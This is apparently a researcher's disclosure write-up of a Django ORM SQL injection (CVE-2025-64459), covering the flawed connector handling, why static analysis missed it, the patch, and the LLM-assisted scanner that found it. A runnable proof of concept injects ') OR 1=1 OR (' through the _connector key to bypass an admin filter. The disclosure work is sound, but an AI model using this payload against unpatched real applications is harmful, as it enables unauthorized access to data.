November 2025 · CVE-2025-64459 (CVSS 9.1) · Fixed in Django 5.2.8, 5.1.14, 4.2.26
Summary
Django’s WhereNode.as_sql formatted the query connector (AND / OR) into the generated SQL via unchecked %s string interpolation. Because the connector value is attacker-reachable through the _connector key of a Q object — and because the common pattern Q(**user_input) unpacks request dictionaries directly into Q — an attacker controlling any input that ends up in that dictionary can inject arbitrary SQL into a WHERE clause, bypassing ORM parameterisation. The bug had lived in the framework for years and was missed by every standard SAST tool, including CodeQL with the default python-security-and-quality suite. I found it with a custom two-stage neuro-symbolic scanner I built for a related project; the discovery process is described at the end.
The bug
In django/db/models/sql/where.py, WhereNode.as_sql joined child clauses with the group’s connector like this:
conn = ' %s ' % self.connector
No validation on self.connector; whatever string it held went straight into the query. self.connector is populated from the _connector argument of the Q constructor, which is a documented feature for choosing between AND and OR grouping. The constructor accepts it as a regular keyword argument, which is where the trouble starts.
The vulnerable application pattern is common in JSON APIs that accept a dictionary of filters:
filter_dictionary = request.json.get('filters', {})
query = Q(**filter_dictionary)
results = User.objects.filter(query)
If the attacker controls filter_dictionary, they can set _connector to arbitrary SQL. It flows from Q’s kwargs into self.connector, then into the query string via the %s above, appearing raw in the final WHERE clause.
Why existing tools missed it
This is the part worth dwelling on, because the bug looks obvious in hindsight and it’s reasonable to ask why a framework whose entire selling point is ORM safety shipped it.
The flaw is invisible to taint analysis because no taint rule is broken. The input is passed to a syntactically valid ORM method. There is no cursor.execute(f”… {x}”), no string concatenation at the call site, no unsafe API in use. CodeQL’s default Python suite produces zero security-relevant findings on where.py — it correctly classifies every visible operation as safe. The vulnerability lives in the gap between Django’s internal assumption (that self.connector only ever holds AND, OR, or XOR) and the external reality that _connector is reachable through documented dictionary unpacking. No rule the taint engine could have applied would have caught that — the failure mode isn’t insufficient rules, it’s a category of vulnerability that rule-based reasoning cannot represent.
A pure LLM scan does identify it, but along with twenty-plus other false positives — every “% self.X” in the file looks suspicious without grounding. The reason this bug survives audit is that it requires both kinds of reasoning at once: semantic understanding that _connector carries meta-logical significance, and structural verification that it’s reachable from a public API entry point.
Proof of concept
Vulnerable versions: Django 5.2 < 5.2.8, 5.1 < 5.1.14, 4.2 < 4.2.26. Set up a minimal project:
django-admin startproject sqli .
python manage.py startapp webapp
Add webapp to INSTALLED_APPS in sqli/settings.py and define a model with a privileged flag:
# webapp/models.py
from django.db import models
class User(models.Model):
username = models.CharField(max_length=100)
is_admin = models.BooleanField(default=False)
Then a management command that simulates a vulnerable API endpoint by unpacking an untrusted dictionary into Q:
# webapp/management/commands/poc.py
from django.core.management.base import BaseCommand
from django.db.models import Q
from webapp.models import User
def process_vulnerable_request(search_dict):
# Unpacks a user-controlled dictionary directly into Q().
query = Q(**search_dict)
return User.objects.filter(query)
class Command(BaseCommand):
def handle(self, *args, **options):
User.objects.all().delete()
User.objects.create(username="alice", is_admin=False)
User.objects.create(username="root", is_admin=True)
# Attacker-controlled JSON payload.
payload = {
"is_admin": False,
"username": "nonexistent_user",
"_connector": ") OR 1=1 OR (",
}
queryset = process_vulnerable_request(payload)
sql, params = queryset.query.get_compiler(using='default').as_sql()
self.stdout.write("Generated SQL:")
self.stdout.write(sql % tuple(f"'{p}'" for p in params))
self.stdout.write("\nResults:")
for user in queryset:
self.stdout.write(f" {user.username} (admin={user.is_admin})")
Run it:
python manage.py makemigrations && python manage.py migrate
python manage.py poc
The generated SQL shows the payload interpolated directly into the WHERE clause:
SELECT "webapp_user"."id", "webapp_user"."username", "webapp_user"."is_admin"
FROM "webapp_user"
WHERE (NOT "webapp_user"."is_admin" ) OR 1=1 OR ( "webapp_user"."username" = 'nonexistent_user')
Results:
alice (admin=False)
root (admin=True)
The is_admin=False filter is bypassed and the admin record is returned. Any model exposed through a similar Q(**user_input) pattern has the same exposure; the payload space is wider than the OR 1=1 demo here, since anything that parses as SQL in that position works.
The fix
Django’s patch is layered. At the low level, WhereNode.as_sql now validates self.connector against an allow-list of AND / OR / XOR before it’s formatted into the query — the core fix, and the one that closes the vulnerability regardless of how the bad value arrived.
At the high level, QuerySet.filter() / .exclude() and related kwargs-handling paths now reject _connector as a lookup key, which kills the most common exploit pattern (Q(**user_input)) before it reaches Q’s constructor at all. Defense-in-depth rather than strictly necessary, but correct: the second layer catches the bug class even if a future refactor moves the first one.
Fixed in 5.2.8, 5.1.14, and 4.2.26. The advisory is on the Django security releases page.
How I found it
The bug came out of a custom static analysis tool I built — a two-stage neuro-symbolic scanner that pairs an LLM-driven semantic pass with a deterministic call graph reachability check. The architecture is the subject of my dissertation; the short version of how it works on this bug:
Stage 1 (the Scout). Gemini 2.5 Flash runs over every FunctionDef and AsyncFunctionDef node in the repo, with a prompt that primes it as an ORM internals reviewer and explicitly scopes the search to three patterns: unsafe identifier handling, ORM abstraction subversion, and attribute injection via dictionary unpacking. Output is constrained to a Protobuf-validated JSON schema so it’s machine-parsable without retries. Stage 1 reasons over local function context only — it’s looking for patterns that imply unsafe data handling, not proving exploitability. On where.py it flagged ‘ %s ‘ % self.connector as a hotspot: an instance attribute interpolated into SQL with no visible whitelist.
Stage 2 (the call graph). A separate pass parses every Python file with ast.parse(), walks every ast.Call node, and builds a name-qualified adjacency list {ClassName.method → [callers…]}, persisted as JSON (not pickle — pickle deserialisation is its own RCE primitive). For each Stage 1 hotspot, the scanner runs reverse BFS from the sink, looking for any path back to a public entry point — heuristically defined as any function that takes a request argument. Depth is bounded at 8 hops, which is well above the observed maximum recoverable depth in Django’s ORM (5 hops, to Query.resolve_lookup_value).
Stage 3 (the Judge). Findings that Stage 2 confirms reachable get sent to Gemini 2.5 Pro along with the reconstructed call path and the sink’s source. The Judge runs a four-step chain of thought — mechanism, immutability, sanitisation gap, verdict — and classifies each finding as Likely True Positive, Likely False Positive, or Uncertain. The two-model split (cheap Flash for the O(N) sweep, expensive Pro for the O(k) triage) cut inference cost about 71% versus running Pro across the whole repo.
For CVE-2025-64459 the Judge’s verdict was clean: it correctly identified the root cause as implicit trust in self.connector rather than as a syntactic flaw, noting that the framework treats the connector as if it were an internal constant whilst exposing it through a public dictionary-unpacking API. That framing — absence of a guardrail rather than presence of a flaw — is the class of bug the architecture was designed to surface, and it’s the class that taint-rule SAST is structurally blind to.
The same pipeline, with Stage 2’s graph ingestion swapped out for libclang, found a use-after-free in CPython’s perf_trampoline (Issue #143228). Same reasoning core, different language, different vulnerability class. Write-up on that bug here.
